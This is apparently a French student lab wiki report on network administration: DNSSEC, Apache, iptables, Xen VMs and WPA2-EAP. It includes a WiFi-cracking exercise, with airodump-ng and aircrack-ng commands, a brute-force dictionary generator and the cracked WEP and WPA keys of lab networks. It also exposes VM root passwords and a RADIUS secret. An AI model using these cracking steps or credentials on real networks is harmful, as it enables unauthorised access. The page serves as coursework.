Afin de protéger notre DNS contre des possibles attaques nous utiliserons DNSSEC. Ici nous utiliserons la politique DNSSEC : &amp;lt;code&amp;gt;&amp;quot;dnspol&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
Ensuite on crée le dossier keys et on donne les droits a bind d'écrire dedans avec :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour ce faire, dans &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; il faut rajouter les 3 lignes à partir de &amp;quot;key-directory&amp;quot; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
  key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
  dnssec-policy &amp;quot;dnspol&amp;quot;;   // DNSSEC automatique&lt;br /&gt;
  inline-signing yes;&lt;br /&gt;
  &lt;br /&gt;
  [...]&lt;br /&gt;
  &lt;br /&gt;
  dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
   keys {&lt;br /&gt;
       ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
       zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
   };&lt;br /&gt;
   nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'activer, il faut restart bind9 avec &amp;lt;code&amp;gt;systemctl restart bind9&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il ne reste qu'à ajouter la clé KSK sur Gandi et ensite on peut voir s'il fonctionne bien grace au site suivant : &amp;lt;nowiki&amp;gt;https://dnsviz.net&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
[[Fichier:DNSSec.png|centré|vignette|DNSSec]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et on peut voir que nos clefs on bien été générer : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@CachyOS:/etc/bind# ls keys/&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.key      Karchlinuxbtw.lol.+013+56682.key&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.private  Karchlinuxbtw.lol.+013+56682.private&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.state    Karchlinuxbtw.lol.+013+56682.state&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Apache ====&lt;br /&gt;
Dans ce repertoire &amp;lt;code&amp;gt;/etc/apache2/sites-availab&amp;lt;/code&amp;gt;le  : touch archlinuxbtw.lol.conf &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Je genere un crt via la commande : &lt;br /&gt;
&lt;br /&gt;
openssl x509 -req -days 365 -in archlinuxbtw.csr -signkey archlinuxb&lt;br /&gt;
&lt;br /&gt;
tw.lol.key -out archlinuxbtw.lol.crt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et je deplace mes fichiers dans : &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# mv archlinuxbtw.lol.crt /etc/ssl/certs/ &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# mv archlinuxbtw.lol.key /etc/ssl/private/ &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# chmod 600 /etc/ssl/private/archlinuxbtw.lol.key&lt;br /&gt;
&lt;br /&gt;
Pour arreter le service par defaut : a2dissite 000-default.conf &lt;br /&gt;
&lt;br /&gt;
Et on verifie avec la commande :  apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
Iptable pour atteindres les ports https : &amp;lt;code&amp;gt;# HTTP iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.10.3:80 # HTTPS iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 192.168.10.3:443 iptables-save&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 80 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 443 -j ACCEPT&lt;br /&gt;
==== Effraction WiFi ====&lt;br /&gt;
&lt;br /&gt;
===== Cassage WEP =====&lt;br /&gt;
Il faut tout faire sur la zabeth13 comme on avait tester sur 4 machines dans la semaine avec mon binome les cartes réseaux des autres machines ne marchent pas. &lt;br /&gt;
&lt;br /&gt;
Avec ip link je vois que l'interface wifi se nomme &amp;lt;code&amp;gt;wlx40a5ef0f679b&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On peut alors recuperer le bssid de notre réseau wifi a crack. Je suis le numéro 5 donc je dois crack la cracotte05 : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlx40a5ef0f679b&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Je recupere :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;04:DA:D2:9C:50:54  -63       27        5    0   4   54e. WEP  WEP         cracotte05&amp;lt;/code&amp;gt;   &lt;br /&gt;
&lt;br /&gt;
Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlx40a5ef0f679b --write airodump --bssid 04:DA:D2:9C:50:54 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et en parallele on lance ceci jusqu'a ce que la clef soit trouvé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;aircrack-ng airodump-01.cap&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                     Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                       [00:26:11] Tested 835 keys (got 68980 IVs)&lt;br /&gt;
                                                                                Got 70001 out of 70000 IVsStarting PTW attack with 70001 ivs.&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(97024) A3(79616) D9(79360) C5(78848) 3A(78592) E3(78592) 29(78336) D1(78336) E9(78080) 7C(77568) DF(77568) 34(76800) 85(76800) D8(76544) 24(76032) &lt;br /&gt;
    1    0/  1   CA(108544) CB(80128) B5(79104) EB(78336) 10(77824) A8(77312) E5(76800) F8(76800) E7(76544) EE(76544) 27(76288) 4C(76288) 68(76288) CC(76288) E6(76288) &lt;br /&gt;
    2    2/  2   A4(80128) 3A(78336) 14(76800) 5A(76544) D2(76544) 98(76032) 08(75776) 1D(75776) 40(75776) 99(75776) E4(75776) F2(75776) CD(75520) F7(75520) 56(75008) &lt;br /&gt;
    3    0/  1   D1(100608) 89(79872) 22(77568) 11(77056) A0(77056) 9E(76800) B0(76800) 98(76544) A9(76544) 5A(76032) AB(76032) CD(76032) 9A(75776) 4D(75520) 51(75264) &lt;br /&gt;
    4    7/  4   43(77312) 4E(76800) 0F(76544) 29(76544) BA(76544) 3E(76032) 61(75776) A6(75776) C6(75776) 89(75264) 21(75008) 5A(75008) 65(75008) C8(75008) DD(75008) &lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:06:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
	Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Cassage WPA-PKS =====&lt;br /&gt;
Ce script python permet de creer un dictionnaire :&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):  # Pour générer des nombres de 00000000 à 99999999&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)  # Écrit le nombre avec 8 chiffres&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ou alors avec crunch :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;crunch 8 8 0123456789 -o dictionnaire_8_chiffres.txt&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite après execution nous pouvons recuperer le fichier .txt créer.&lt;br /&gt;
&lt;br /&gt;
On récuperer le dump comme precedemment pour cette borne pour mon cas :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;44:AD:D9:5F:87:04  -43        3        5    2  13   54e. WPA2 CCMP   PSK  kracotte05&amp;lt;/code&amp;gt;  &lt;br /&gt;
&lt;br /&gt;
Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande :&amp;lt;code&amp;gt;sudo airodump-ng wlx40a5ef0f679b --write airodumpWPA --bssid 44:AD:D9:5F:87:04 -c13&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et ensuite après avoir récuperer 1 data minimum :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;aircrack-ng airodump-01.cap&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et enfin on attend (c'est long si vous vous demander... tres looong faite la suite en attendant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                               Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
      [00:35:36] 66631280/100000000 keys tested (30842.35 k/s) &lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 1 second                           66.63%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66685666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : EF 69 DE 33 B4 7F AA 9E 20 AB 3C AF F1 F7 3E A8 &lt;br /&gt;
                       61 7C 80 F2 3C A9 FE B6 9A 72 98 B3 20 B3 2A A6 &lt;br /&gt;
&lt;br /&gt;
      Transient Key  : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : AD 95 F2 4D 5A 3F 4A 57 CD D8 0E EA A6 14 8B 1A &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sécurisation WiFi par WPA2-EAP ====&lt;br /&gt;
Depuis notre machine de service on va se connecter sur notre borne wifi, ici on prend l'IP de la E304 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;ssh -oKexAlgorithms=+diffie-hellman-group11-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student5 group radius_student5&lt;br /&gt;
radius-server host 192.168.10.3 auth-port 1812 acct-port 1813 key secret_student5        &lt;br /&gt;
aaa group server radius radius_student5                      &lt;br /&gt;
server 192.168.10.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_5       &lt;br /&gt;
vlan 15         &lt;br /&gt;
authentication open eap eap_student5 &lt;br /&gt;
authentication network-eap eap_student5&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 15 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.15&lt;br /&gt;
encapsulation dot1Q 15&lt;br /&gt;
bridge-group 15&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.15&lt;br /&gt;
encapsulation dot1Q 15&lt;br /&gt;
bridge-group 15&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
et l'IP de la E305 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.3&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et ensuite sur le routeur :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
ip dhcp pool PoolCedric&lt;br /&gt;
network 10.60.5.0 255.255.255.0&lt;br /&gt;
dns-server 193.48.57.166&lt;br /&gt;
default-router 10.60.5.254&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
write&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
interface Vlan15&lt;br /&gt;
 description &amp;quot;VLAN personnel de Cedric PAYET (E5) - WPA2-EAP&amp;quot;&lt;br /&gt;
 ip address 10.60.5.2 255.255.255.0&lt;br /&gt;
 ipv6 address 2001:660:4401:60a5::2/64&lt;br /&gt;
 vrrp 15 address-family ipv4&lt;br /&gt;
  priority 110&lt;br /&gt;
  address 10.60.5.1 primary&lt;br /&gt;
  exit-vrrp&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Utiles ===&lt;br /&gt;
&lt;br /&gt;
=== XEN ===&lt;br /&gt;
''&amp;lt;u&amp;gt;Liste des VMs allumées :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Se connecter à la VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
''&amp;lt;u&amp;gt;Sortir de la console xen :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Ctrl + Shift + 5&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;''&amp;lt;u&amp;gt;Eteindre une VM :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Allumer une VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/&amp;lt;nomMachine&amp;gt;.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=12182</id>
		<title>Atelier SysRes SE4 2025/2026 E5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=12182"/>
		<updated>2026-02-10T15:59:16Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* Utiles */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Compte rendu des commandes effectués ===&lt;br /&gt;
&lt;br /&gt;
==== Etape 1 : Connexion SSH ====&lt;br /&gt;
ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Mot de passe :  &lt;br /&gt;
&lt;br /&gt;
==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====&lt;br /&gt;
On se déplace à ce répertoire :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 cd /etc/network/interfaces.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
touch SE42026_cpayet_tdelobel&lt;br /&gt;
vim SE42026_cpayet_tdelobel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_pacman&lt;br /&gt;
iface pont_pacman inet manual&lt;br /&gt;
    bridge_ports none&lt;br /&gt;
    up ip link set $IFACE up&lt;br /&gt;
    down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois le pont créer, il faut le démarrer :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_pacman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 3 : Création des VMs ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.CachyOS         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.Manjaro         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.LinusTorvalds   --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On adapte les hostnames en fonction des nom de nos machines. &lt;br /&gt;
&lt;br /&gt;
'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
CachyOS : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.CachyOS&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:8B:45:EC&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:p+nECGSXOPvFjDjk+/x8adAn8JxTTPjuknCTcFZxJNk (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:YaNMhK5ZFF/TshemMHSmt08R9uBPAnhNK134XEZ0CuY (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:qQNuBNfAoySUPOFPplDh8p0ZPtxRulz/vbOq+Pm4gwM (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:psWV2TNuHsZcRelqipM7TJ/mE4cvFI+oxndg6nvCpCk (RSA)&lt;br /&gt;
Root Password   :  6nyCiterydiMtnxsPDRsUys&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Manjaro : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.Manjaro&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:36:79:D8&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)&lt;br /&gt;
Root Password   :  PgvMbhYvgtksg8tmiJnVZnQ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;LinusTorvalds :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.LinusTorvalds&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:AA:BF:EF&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)&lt;br /&gt;
Root Password   :  ekrmCSKb3ZAxXSYvNpjbiSK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 4 : ====&lt;br /&gt;
PHRASE MANQUANTE&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.Manjaro.cfg&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
xen create /etc/xen/SE4.LinusTorvalds.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On vérifie la liste des machines lancées via : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Name                                        ID   Mem VCPUs    State    Time(s)&lt;br /&gt;
SE4.CachyOS                                 83  2048     1     -b----       5.6&lt;br /&gt;
SE4.Manjaro                                 85  2048     1     -b----       5.8&lt;br /&gt;
SE4.LinusTorvalds                           87  2048     1     -b----       5.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 5 : Partition ====&lt;br /&gt;
&lt;br /&gt;
===== Sur capbreton =====&lt;br /&gt;
&lt;br /&gt;
On partionne avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.CachyOS.var -L 10G virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On éteint notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on modifie :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
            [...],&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'&lt;br /&gt;
        ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Sur la machine mandataire =====&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons les partitions dans '''''/etc/fstab''''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous formatons les partitions avant de les utiliser : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous copions le contenu de '''/var''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvda3 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== De nouveaux sur capbreton =====&lt;br /&gt;
On redémarre notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite on se connecte à notre VM via :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Machines de Service - CachyOS &amp;amp; Manjaro =====&lt;br /&gt;
Dans notre VM :&lt;br /&gt;
&lt;br /&gt;
On modifie  :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/network/interfaces&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.10.3/24&lt;br /&gt;
    gateway 192.168.10.1&lt;br /&gt;
&lt;br /&gt;
# Pour l'ipv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* 172.60.0.3 est l'adresse IPV4 de la VM CachyOS&lt;br /&gt;
&lt;br /&gt;
===== Machine Mandataire - LinusTorvalds =====&lt;br /&gt;
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :&lt;br /&gt;
&lt;br /&gt;
La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.&lt;br /&gt;
&lt;br /&gt;
